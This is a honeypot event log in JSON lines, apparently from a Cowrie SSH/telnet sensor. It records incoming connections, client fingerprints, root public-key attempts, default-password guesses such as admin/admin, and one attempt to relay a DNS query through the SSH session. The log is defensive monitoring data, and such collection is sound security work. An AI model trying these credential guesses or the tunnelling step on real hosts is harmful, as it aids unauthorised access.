{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":51740,"dst_ip":"159.203.135.109","dst_port":22,"session":"41ff31138f89","protocol":"ssh","message":"New connection: 194.59.206.2:51740 (159.203.135.109:22) [session: 41ff31138f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:22:01.805964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:22:01.809599Z","src_ip":"87.251.64.176","session":"b9a27f9d0b42","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:22:01.821950Z","src_ip":"194.59.206.2","session":"41ff31138f89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:22:01.907633Z","src_ip":"87.251.64.176","session":"b9a27f9d0b42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:22:01.924597Z","src_ip":"194.59.206.2","session":"41ff31138f89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:22:02.018200Z","src_ip":"194.59.206.2","session":"41ff31138f89","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:22:02.199552Z","src_ip":"87.251.64.176","session":"b9a27f9d0b42","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:22:02.297214Z","session":"b9a27f9d0b42","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:22:02.392411Z","src_ip":"87.251.64.176","session":"b9a27f9d0b42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:22:02.653745Z","src_ip":"87.251.64.176","session":"b9a27f9d0b42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.16792297363281,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:22:20.173607Z","src_ip":"128.199.209.169","session":"f3ed171628f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.879849672317505,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:22:25.077976Z","src_ip":"128.199.8.54","session":"f5e9d5dfc90f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":57274,"dst_ip":"159.203.135.109","dst_port":23,"session":"f030ed6fbd95","protocol":"telnet","message":"New connection: 166.62.124.255:57274 (159.203.135.109:23) [session: f030ed6fbd95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:22:58.189651Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.189.225","src_port":29854,"dst_ip":"10.17.0.5","dst_port":22,"session":"873d4c6d2a7f","protocol":"ssh","message":"New connection: 62.210.189.225:29854 (10.17.0.5:22) [session: 873d4c6d2a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:23.733657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:23.738270Z","src_ip":"62.210.189.225","session":"873d4c6d2a7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:23.823620Z","src_ip":"62.210.189.225","session":"873d4c6d2a7f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:89:d0:35:6d:bf:cd:83:fb:76:0d:70:1c:e4:d6:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYs7/zEVhre28R3uQ5D1Q1Dz3UMXw5NU7NZ4MW2x/kLZqs5WvnqtzGLp5C81LylsHIOSSpZJqrTCK4hvlYTf3f3paKc339dHhkL95sG2rs5gF8WlLK7mFqXNKiDHkpWpH7YNGXQ+MitsGgf/I59xOzBJGMwPI6haCC+IU1wP67W2Qb/KZ5hVikIBofW4JLuJ51aljuaCSp+pNlb8lHJd1K5G1c0xA93WQW9c0b/xb1IN3hHibHNNiOaOXtudXYK9VmpTPyhY5iv/vz1hsKSBgtYYhB9OpR0gzSKZjw/LiiIqnkik8x08MNZa/QxYoMiDT7VKJkHDitLn/+dtMrcC5n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:89:d0:35:6d:bf:cd:83:fb:76:0d:70:1c:e4:d6:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:24.204315Z","src_ip":"62.210.189.225","session":"873d4c6d2a7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:89:d0:35:6d:bf:cd:83:fb:76:0d:70:1c:e4:d6:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYs7/zEVhre28R3uQ5D1Q1Dz3UMXw5NU7NZ4MW2x/kLZqs5WvnqtzGLp5C81LylsHIOSSpZJqrTCK4hvlYTf3f3paKc339dHhkL95sG2rs5gF8WlLK7mFqXNKiDHkpWpH7YNGXQ+MitsGgf/I59xOzBJGMwPI6haCC+IU1wP67W2Qb/KZ5hVikIBofW4JLuJ51aljuaCSp+pNlb8lHJd1K5G1c0xA93WQW9c0b/xb1IN3hHibHNNiOaOXtudXYK9VmpTPyhY5iv/vz1hsKSBgtYYhB9OpR0gzSKZjw/LiiIqnkik8x08MNZa/QxYoMiDT7VKJkHDitLn/+dtMrcC5n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:24.207377Z","src_ip":"62.210.189.225","session":"873d4c6d2a7f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:f9:77:7d:66:e4:ac:f3:98:0f:38:de:f7:e7:b5:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQzwrqqV23xfmThjaVa5wHBaR5G/clqd4hXlIGjIZhNkG8QJQN9skR0IqXuf2u3bj/TdX07po/RVHxkgq6qXdkPdEgg4f/kamaSbV3C4YUnY5nMeH3PLyyetTP1q+myvokGjzFRctYVQeinls6j4KrY3aMtCDmsuT0lpLsztvVPhnAZxJmVy4mOv/MNLo45EV/iEyYVE3ToPyGI1B/y9SdNAFXEDqKhagMFp++varJp99Im++SL3SqLbTfKMdzl95/ZnX9ZqclOZYq6uUfHls6HE06QrEGMlD4oOxuGVK/EHLLXorl7CJMn9kN0IcypNPqOLu5EIcTLpHhhvU2GsiP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a6:f9:77:7d:66:e4:ac:f3:98:0f:38:de:f7:e7:b5:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:24.288832Z","src_ip":"62.210.189.225","session":"873d4c6d2a7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:f9:77:7d:66:e4:ac:f3:98:0f:38:de:f7:e7:b5:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQzwrqqV23xfmThjaVa5wHBaR5G/clqd4hXlIGjIZhNkG8QJQN9skR0IqXuf2u3bj/TdX07po/RVHxkgq6qXdkPdEgg4f/kamaSbV3C4YUnY5nMeH3PLyyetTP1q+myvokGjzFRctYVQeinls6j4KrY3aMtCDmsuT0lpLsztvVPhnAZxJmVy4mOv/MNLo45EV/iEyYVE3ToPyGI1B/y9SdNAFXEDqKhagMFp++varJp99Im++SL3SqLbTfKMdzl95/ZnX9ZqclOZYq6uUfHls6HE06QrEGMlD4oOxuGVK/EHLLXorl7CJMn9kN0IcypNPqOLu5EIcTLpHhhvU2GsiP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:24.292441Z","src_ip":"62.210.189.225","session":"873d4c6d2a7f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:4a:6c:27:4f:8a:3c:f4:8f:7f:72:18:0f:cf:5b:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCg4yCveveYSkfZCYTHTTRJ3Nx2nV3KrDF73MMW05wZAtNZtePe2h7PtXbGF7nT+CTBneeb7F5k8U1mYPzF+19S2mbnENlzNwiTj9wIlOfiGN5U2a9gBgGOnReurJgxZ5X+5JTFRmuPtJHT2Ef8MkVcyk9rmc8+kbUGnvzTKNjBOIi8MVKZJy9wY0wRYYXScVJTVG0ADTibfn8gyaIexKbrN6LrRbCazFt/1/TKJ8dMiLp7a4o0zEseHDLxCxbCopdVw9sf6YDEVk8saAQdfE1aNkGFvKY4ckpgVQbZpor7iAibaOUDE1YhIDETAxT7NvP4VAwTuKciRGzd6mdIfMnH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:4a:6c:27:4f:8a:3c:f4:8f:7f:72:18:0f:cf:5b:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:24.372836Z","src_ip":"62.210.189.225","session":"873d4c6d2a7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:4a:6c:27:4f:8a:3c:f4:8f:7f:72:18:0f:cf:5b:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCg4yCveveYSkfZCYTHTTRJ3Nx2nV3KrDF73MMW05wZAtNZtePe2h7PtXbGF7nT+CTBneeb7F5k8U1mYPzF+19S2mbnENlzNwiTj9wIlOfiGN5U2a9gBgGOnReurJgxZ5X+5JTFRmuPtJHT2Ef8MkVcyk9rmc8+kbUGnvzTKNjBOIi8MVKZJy9wY0wRYYXScVJTVG0ADTibfn8gyaIexKbrN6LrRbCazFt/1/TKJ8dMiLp7a4o0zEseHDLxCxbCopdVw9sf6YDEVk8saAQdfE1aNkGFvKY4ckpgVQbZpor7iAibaOUDE1YhIDETAxT7NvP4VAwTuKciRGzd6mdIfMnH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:24.375637Z","src_ip":"62.210.189.225","session":"873d4c6d2a7f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:23:e8:38:5d:ef:a9:b3:a5:60:ba:a6:e0:8a:2a:37","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO6ypkHXrbfVfgp+plR88G378E+O9HnK8RNufAY+b6k6","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 93:23:e8:38:5d:ef:a9:b3:a5:60:ba:a6:e0:8a:2a:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:24.457268Z","src_ip":"62.210.189.225","session":"873d4c6d2a7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:23:e8:38:5d:ef:a9:b3:a5:60:ba:a6:e0:8a:2a:37","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO6ypkHXrbfVfgp+plR88G378E+O9HnK8RNufAY+b6k6","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:24.460369Z","src_ip":"62.210.189.225","session":"873d4c6d2a7f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:33:a5:b1:7a:49:6f:96:84:02:5c:fa:1e:3c:77:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqPluOwU6zXC8mfrWyirUm+yAfImH4EsHs5xs995QQ+W7AbVffBRTOnvPVKTj79yLxveKmzCqXIEOmBiaVhv+b+p3QrbSq1lnGpyAP9dbbLKDuAq7hrBvq77iFhcAlmQIGrBeRZiBO5eHHThTvCH6ikVg30z2u4/mXSZspHOfGn4iPTB9wfY8KiBze568RiovXS8vc8nQ3r6MmRlo3Z8a2ZwhkLG0w54xjaa80eAOz2klCB2gK+Q6zMpg2GXFn5s/tEW7tcJvFVh8Jjla9e/VtpjYPvbxYCre6qkbEz/bhpktvRS9AK095lEV2KSfCmAvIa31Yq9B0/vqzCAu3Zq3f","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:33:a5:b1:7a:49:6f:96:84:02:5c:fa:1e:3c:77:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:24.540776Z","src_ip":"62.210.189.225","session":"873d4c6d2a7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:33:a5:b1:7a:49:6f:96:84:02:5c:fa:1e:3c:77:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqPluOwU6zXC8mfrWyirUm+yAfImH4EsHs5xs995QQ+W7AbVffBRTOnvPVKTj79yLxveKmzCqXIEOmBiaVhv+b+p3QrbSq1lnGpyAP9dbbLKDuAq7hrBvq77iFhcAlmQIGrBeRZiBO5eHHThTvCH6ikVg30z2u4/mXSZspHOfGn4iPTB9wfY8KiBze568RiovXS8vc8nQ3r6MmRlo3Z8a2ZwhkLG0w54xjaa80eAOz2klCB2gK+Q6zMpg2GXFn5s/tEW7tcJvFVh8Jjla9e/VtpjYPvbxYCre6qkbEz/bhpktvRS9AK095lEV2KSfCmAvIa31Yq9B0/vqzCAu3Zq3f","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:24.544073Z","src_ip":"62.210.189.225","session":"873d4c6d2a7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:24.627419Z","src_ip":"62.210.189.225","session":"873d4c6d2a7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":58421,"dst_ip":"159.203.135.109","dst_port":22,"session":"f48167c0a59d","protocol":"ssh","message":"New connection: 112.216.108.62:58421 (159.203.135.109:22) [session: f48167c0a59d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:27.646935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:27.651629Z","src_ip":"112.216.108.62","session":"f48167c0a59d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:27.866740Z","src_ip":"112.216.108.62","session":"f48167c0a59d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqwwee","message":"login attempt [root/qqwwee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:28.730569Z","src_ip":"112.216.108.62","session":"f48167c0a59d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.388038396835327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:29.577559Z","src_ip":"166.62.124.255","session":"f030ed6fbd95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:29.940906Z","src_ip":"112.216.108.62","session":"f48167c0a59d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":41534,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f6659abdf01","protocol":"telnet","message":"New connection: 107.6.151.170:41534 (159.203.135.109:23) [session: 1f6659abdf01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:32.146265Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":46952,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7a194555b82","protocol":"telnet","message":"New connection: 107.6.151.170:46952 (159.203.135.109:23) [session: b7a194555b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:35.180260Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49034,"dst_ip":"159.203.135.109","dst_port":23,"session":"d94592bbc720","protocol":"telnet","message":"New connection: 172.81.62.90:49034 (159.203.135.109:23) [session: d94592bbc720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:50.429863Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":38578,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7734620bb0e","protocol":"ssh","message":"New connection: 117.121.214.50:38578 (10.17.0.5:22) [session: b7734620bb0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:51.959552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:23:51.962456Z","src_ip":"117.121.214.50","session":"b7734620bb0e","protocol":"ssh"}
